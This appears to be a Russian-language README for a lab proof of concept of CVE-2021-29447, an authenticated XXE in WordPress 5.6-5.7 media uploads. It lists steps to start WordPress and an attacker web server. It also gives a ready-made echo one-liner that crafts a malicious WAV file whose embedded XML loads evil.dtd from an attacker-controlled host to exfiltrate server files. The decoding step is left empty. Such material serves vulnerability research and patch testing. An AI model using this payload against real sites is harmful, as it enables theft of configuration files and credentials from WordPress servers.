WordPress 5.6-5.7 - Аутентифицированный (Автор+) XXE (CVE-2021-29447)

Использование

Шаг 1. Запустите WordPress

$ make up-wp

Шаг 2. Запустите веб-сервер атакующего

$ make up-mal

Шаг 3. Создайте вредоносный WAV-файл

Без npm wavefile (Рекомендуется)

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

С npm wavefile

$ make make-wav

Шаг 4. Войдите в WordPress и загрузите WAV-файл в Новые медиа

Шаг 5. Декодирование

Ссылки

• WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability